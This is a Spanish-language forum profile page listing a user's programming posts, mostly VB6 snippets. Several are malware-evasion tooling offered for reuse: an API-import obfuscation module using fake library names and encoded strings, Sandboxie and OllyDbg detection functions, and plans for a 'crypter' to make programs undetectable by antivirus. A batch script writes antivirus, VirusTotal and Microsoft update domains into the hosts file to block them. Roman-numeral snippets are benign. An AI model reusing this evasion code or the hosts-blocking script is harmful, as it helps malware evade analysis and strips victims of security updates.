|
21
|
Programación / Programación Visual Basic / mMemory - WriteProcessMemory/vbaCopyBytes/RtlMoveMemory replacement [NOAPI!!!]
|
en: 31 Octubre 2011, 13:19 pm
|
Hace mucho tiempo que no toqueteaba a mi querido VB6 Así que aquí estoy con otra primicia chicoooos!!! Este modulito que os presento permite trabajar con la memoria sin el uso de ningún API!!!!Eso sí! Tenéis que desactivar la comprobación de límites de matrices Os pongo una foto: Además solo funciona compilado, como muchos otros hacks el IDE no permite tocar demasiado Y como todos estáis deseando aquí viene el sencillo pero eficaz código '--------------------------------------------------------------------------------------- ' Module : mMemory ' Author : Karcrack ' Date : 20/09/2011 ' Purpose : Work with memory withouth using any API ' History : 20/09/2011 First cut ..................................................... '--------------------------------------------------------------------------------------- Option Explicit Private bvHack(0) As Byte Private lHackDelta As Long Private bInitialized As Boolean Public Function Initialize() As Boolean On Error GoTo Error_Handle bvHack(-1) = bvHack(-1) 'Error check lHackDelta = VarPtr(bvHack(0)) Initialize = True bInitialized = Initialize Exit Function Error_Handle: If Err.Number = 9 Then Debug.Print "Remember to tick 'Remove array boundary check' and compile before using" End End Function Public Function GetByte(ByVal lPtr As Long) As Byte If bInitialized Then GetByte = bvHack(lPtr - lHackDelta) End Function Public Function GetWord(ByVal lPtr As Long) As Integer If bInitialized Then GetWord = MakeWord(GetByte(lPtr + &H0), GetByte(lPtr + &H1)) End Function Public Function GetDWord(ByVal lPtr As Long) As Long If bInitialized Then GetDWord = MakeDWord(GetWord(lPtr + &H0), GetWord(lPtr + &H2)) End Function Public Sub PutByte(ByVal lPtr As Long, ByVal bByte As Byte) If bInitialized Then bvHack(lPtr - lHackDelta) = bByte End Sub Public Sub PutWord(ByVal lPtr As Long, ByVal iWord As Integer) If bInitialized Then Call PutByte(lPtr + &H0, iWord And &HFF): Call PutByte(lPtr + &H1, (iWord And &HFF00&) \ &H100) End Sub Public Sub PutDWord(ByVal lPtr As Long, ByVal lDWord As Long) If bInitialized Then Call PutWord(lPtr + &H0, IIf(lDWord And &H8000&, lDWord Or &HFFFF0000, lDWord And &HFFFF&)): Call PutWord(lPtr + &H2, (lDWord And &HFFFF0000) \ &H10000) End Sub Private Function MakeWord(ByVal loByte As Byte, ByVal hiByte As Byte) As Integer '[http://www.xbeat.net/vbspeed/c_MakeWord.htm#MakeWord02] If hiByte And &H80 Then MakeWord = ((hiByte * &H100&) Or loByte) Or &HFFFF0000 Else MakeWord = (hiByte * &H100) Or loByte End If End Function Private Function MakeDWord(ByVal LoWord As Integer, ByVal HiWord As Integer) As Long '[http://www.xbeat.net/vbspeed/c_MakeDWord.htm#MakeDWord05] MakeDWord = (HiWord * &H10000) Or (LoWord And &HFFFF&) End Function
Si saco un poco de tiempo libre hago una clase chuli piruli con este mismo sistema Happy codin'
|
|
|
22
|
Programación / Programación Visual Basic / [VB6][SNIPPET] mAPIPatchByID - Carga APIs dinamicamente (Late binding)
|
en: 23 Abril 2011, 15:34 pm
|
'--------------------------------------------------------------------------------------- ' Module : mAPIPatchByID ' Author : Karcrack ' Now : 23/04/2011 14:13 ' Purpose : Patch API functions by ID ' History : 23/04/2011 First cut ......................................................... '--------------------------------------------------------------------------------------- Option Explicit 'KERNEL32 Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal hProcess As Long, ByRef lpBaseAddress As Any, ByRef lpBuffer As Any, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long Public Sub PatchAPIAddr(ByVal lID As Long, ByVal lAddr As Long) Dim hInstance As Long Dim lExtTablePtr As Long hInstance = App.hInstance lExtTablePtr = GetDWORD(GetDWORD((hInstance + GetDWORD(hInstance + GetDWORD(hInstance + &H3C) + &H28)) + &H1) + &H30) + &H234 If GetDWORD(lExtTablePtr + &H4) >= lID Then Call PutDWORD(GetDWORD(GetDWORD(GetDWORD(lExtTablePtr) + (8 * lID) + 4) + &H19), lAddr) End If End Sub Private Sub PutDWORD(ByVal lAddr As Long, ByVal lDWORD As Long) Call NtWriteVirtualMemory(-1, ByVal lAddr, lDWORD, 4, ByVal 0&) End Sub Private Function GetDWORD(ByVal lAddr As Long) As Long Call NtWriteVirtualMemory(-1, GetDWORD, ByVal lAddr, 4, ByVal 0&) End Function
Para que sirve? Para cargar APIs dinamicamente Un ejemplo: Option Explicit 'USER32 Private Declare Function MessageBox Lib "nadaesloqueparece" Alias "Karcrack" (ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long 'KERNEL32 Private Declare Function GetProcAddress Lib "KERNEL32" (ByVal hModule As Long, ByVal lpProcName As String) As Long Private Declare Function LoadLibrary Lib "KERNEL32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long Sub Main() Call PatchAPIAddr(2, GetProcAddress(LoadLibrary("USER32"), "MessageBoxA")) Call MessageBox(0, "Te has fijado en la declaracion del API 'MessageBox'?", "Hola :)", 0) End Sub
Otro un poco mas enrevesado: Option Explicit 'USER32 Private Declare Function fnc1& Lib "whatever" (ByVal a&, ByVal b&, ByVal c&, ByVal d&) Private Declare Function fnc2& Lib "whatever" (ByVal a&, ByVal b&) 'KERNEL32 Private Declare Function GetProcAddress Lib "KERNEL32" (ByVal hModule As Long, ByVal lpProcName As String) As Long Private Declare Function LoadLibrary Lib "KERNEL32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long Private Const u32$ = "ZXJW87" Private Const msgbx$ = "RjxxfljGt}\" Private Const ktmr$ = "PnqqYnrjw" Private Const stmr$ = "XjyYnrjw" Private x& Private bo& Sub Main() Dim p& p = GetProcAddress(LoadLibrary(d(u32)), d(stmr)) Call PatchAPIAddr(3, p) x = fnc1(0, 0, 2 * 1000, AddressOf tproc) p = GetProcAddress(LoadLibrary(d(u32)), d(msgbx)) Call PatchAPIAddr(3, p) p = GetProcAddress(LoadLibrary(d(u32)), d(ktmr)) Call PatchAPIAddr(2, p) bo = 1 While bo DoEvents Wend End Sub Private Function d$(s$) Dim i& d = s For i = 1 To Len(d) Mid$(d, i, 1) = Chr$(Asc(Mid$(d, i, 1)) - 5) Next i End Function Private Function tproc&(ByVal a&, ByVal b&, ByVal c&, ByVal d&) If fnc1(0, StrPtr("Seguimos?"), StrPtr(":)"), vbYesNo) = vbNo Then bo = 0 Call fnc2(0, x) End If End Function
Los ejemplos han de ir en un modulo aparte puesto después del modulo 'mAPIPatchByID' para que los IDs se correspondiesen... en caso contrario hay que calcular los IDs usando por ejemplo el OllyDbg Cualquier duda preguntad!
|
|
|
23
|
Programación / Programación Visual Basic / [ANTI] AmISandboxied() - Saber si estamos siendo ejecutados dentro de Sandboxie
|
en: 13 Marzo 2011, 20:42 pm
|
Option Explicit 'NTDLL Private Declare Function RtlGetCurrentPeb Lib "NTDLL" () As Long 'MSVBVM60 Private Declare Sub GetMem4 Lib "MSVBVM60" (ByVal Addr As Long, ByRef RetVal As Long) '--------------------------------------------------------------------------------------- ' Procedure : AmISandboxied ' Author : Karcrack ' Date : 13/03/2011 ' Purpose : Know if we are running under Sandboxie '--------------------------------------------------------------------------------------- ' Public Function AmISandboxied() As Boolean Dim lUPP As Long '&RTL_USER_PROCESS_PARAMETERS Dim lFlags As Long 'RTL_USER_PROCESS_PARAMETERS.Flags Call GetMem4(RtlGetCurrentPeb() + &H10, lUPP) Call GetMem4(lUPP + &H8, lFlags) AmISandboxied = (lFlags <> 1) End Function
Bien simple, por alguna razon desconocida PEB.RTL_USER_PROCESS_PARAMETERS.Flags es distinto cuando esta siendo ejecutado dentro de Sandboxie
|
|
|
24
|
Programación / Programación Visual Basic / [ANTI] IsOdbg() - Saber si estas siendo debuggeado por el OllyDebugger
|
en: 12 Marzo 2011, 13:45 pm
|
Option Explicit 'KERNEL32 Private Declare Sub GetStartupInfoW Lib "KERNEL32" (ByRef lpStartupInfo As Any) '--------------------------------------------------------------------------------------- ' Procedure : IsOdbg ' Author : Karcrack ' Date : 12/03/2011 ' TestedOn : OllyDbg 1.1 & OllyDbg 2.0.1(Alpha) ' Purpose : Detect whether we are running inside OllyDbg or not. '--------------------------------------------------------------------------------------- ' Public Function IsOdbg() As Boolean Dim bvStartupInfo(0 To 16) As Long Call GetStartupInfoW(bvStartupInfo(0)) IsOdbg = (bvStartupInfo(11) And &H80) End Function
|
|
|
25
|
Programación / Scripting / [BATCH] Duda sobre ¿Arrays? [Solucionado]
|
en: 3 Febrero 2011, 22:10 pm
|
Mi duda es simple... se puede en BATCH utilizar algun tipo de array? Se que con una busqueda en google tendria la respuesta.. pero aprovecho que abro este tema y pregunto a aquellos que se consideran buenos en este lenguaje de Scripting... Como acortarias al maximo este codigo? @echo off set hosts=%windir%\System32\drivers\etc\hosts echo. >> %hosts% echo 127.0.0.1 avp.com >> %hosts% echo 127.0.0.1 ca.com >> %hosts% echo 127.0.0.1 customer.symantec.com >> %hosts% echo 127.0.0.1 dispatch.mcafee.com >> %hosts% echo 127.0.0.1 download.mcafee.com >> %hosts% echo 127.0.0.1 f-secure.com >> %hosts% echo 127.0.0.1 kaspersky.com >> %hosts% echo 127.0.0.1 kaspersky-labs.com >> %hosts% echo 127.0.0.1 liveupdate.symantec.com >> %hosts% echo 127.0.0.1 liveupdate.symantecliveupdate.com >> %hosts% echo 127.0.0.1 mast.mcafee.com >> %hosts% echo 127.0.0.1 mcafee.com >> %hosts% echo 127.0.0.1 microsoft.com >> %hosts% echo 127.0.0.1 my-etrust.com >> %hosts% echo 127.0.0.1 nai.com >> %hosts% echo 127.0.0.1 networkassociates.com >> %hosts% echo 127.0.0.1 pandasoftware.com >> %hosts% echo 127.0.0.1 rads.mcafee.com >> %hosts% echo 127.0.0.1 secure.nai.com >> %hosts% echo 127.0.0.1 securityresponse.symantec.com >> %hosts% echo 127.0.0.1 sophos.com >> %hosts% echo 127.0.0.1 symantec.com >> %hosts% echo 127.0.0.1 trendmicro.com >> %hosts% echo 127.0.0.1 updates.symantec.com >> %hosts% echo 127.0.0.1 update.symantec.com >> %hosts% echo 127.0.0.1 us.mcafee.com >> %hosts% echo 127.0.0.1 viruslist.com >> %hosts% echo 127.0.0.1 virustotal.com >> %hosts% echo 127.0.0.1 www.avp.com >> %hosts% echo 127.0.0.1 www.f-secure.com >> %hosts% echo 127.0.0.1 www.grisoft.com >> %hosts% echo 127.0.0.1 www.kaspersky.com >> %hosts% echo 127.0.0.1 www.mcafee.com >> %hosts% echo 127.0.0.1 www.microsoft.com >> %hosts% echo 127.0.0.1 www.moneybookers.com >> %hosts% echo 127.0.0.1 www.my-etrust.com >> %hosts% echo 127.0.0.1 www.nai.com >> %hosts% echo 127.0.0.1 www.networkassociates.com >> %hosts% echo 127.0.0.1 www.pandasoftware.com >> %hosts% echo 127.0.0.1 www.sophos.com >> %hosts% echo 127.0.0.1 www.symantec.com >> %hosts% echo 127.0.0.1 www.trendmicro.com >> %hosts% echo 127.0.0.1 www.virustotal.com >> %hosts% Estoy harto de ver estos codigos tan repetitivos en BATCH... y me pregunto... no se pueden acortar con un simple bucle?! Un saludo
|
|
|
26
|
Programación / Programación Visual Basic / [BRAINSTORMING] KPC v3 (Karcrack Project Crypter)
|
en: 20 Enero 2011, 22:23 pm
|
Hola, hola! Ya hace mucho que no acabo ningún proyecto en VB6... tengo una gran cantidad a medias... y se me ocurrió reanudar el Karcrack Project Crypter... Más información sobre el proyecto: http://foro.elhacker.net/programacion_vb/sourceactualizado_karcrack_project_crypter_encripta_tus_proyectos_en_vb-t221869.0.html http://foro.elhacker.net/analisis_y_diseno_de_malware/karcrack_project_crypter_v21_kpc-t256127.0.html Y se me ocurrió que la mejor forma de saber que necesita la gente a la hora de hacer indetectables sus proyectos era iniciar una lluvia de ideas Simplemente propongan Por ahora tengo esta lista: - Ofuscación de APIs (Varios métodos, un par secretos )
- Cifrado de cadenas (Varios métodos, se me ocurrió añadir la posibilidad de usar algoritmos propios)
- Cifrado de APIs (AKA Invoke/Zombie_Invoke/CallByName/CallByHash...)
- Ofuscación de funciones (GoTo y añadir basurilla )
- Cambio 'avanzado' de opciones del proyecto
Alguna sugerencia?! Un saludo
|
|
|
29
|
Programación / Scripting / [RETO+PYTHON] A ver quien la tiene mas corta...
|
en: 16 Diciembre 2010, 17:14 pm
|
... la funcion! Consiste en convertir de la forma mas corta posible un numero decimal a su version romana... por ejemplo: 200 -> CC 1337 -> MCCCXXXVII Espero que al menos una persona se digne a participar.. si no sera un fiasco, y destrozara mi ilusion de crear retos en el futuro I saludo!
|
|
|
30
|
Programación / Programación Visual Basic / [SNIPPET] Decimal a Romano
|
en: 16 Diciembre 2010, 16:27 pm
|
Discutiendo con un amigo; la forma mas corta que se me ocurrio: Public Function DecToRoman(ByVal lNum As Long) As String DecToRoman = Choose(((lNum Mod 10) / 1) + 1, "", "I", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX") lNum = lNum - (lNum Mod 10) DecToRoman = Choose(((lNum Mod 100) / 10) + 1, "", "X", "XX", "XXX", "XL", "L", "LX", "LXX", "LXXX", "XC") & DecToRoman lNum = lNum - (lNum Mod 100) DecToRoman = String$((lNum \ 1000), "M") & Choose(((lNum Mod 1000) / 100) + 1, "", "C", "CC", "CCC", "CD", "D", "DC", "DCC", "DCCC", "CM") & DecToRoman End Function
Saludos
|
|
|
|
|
|
|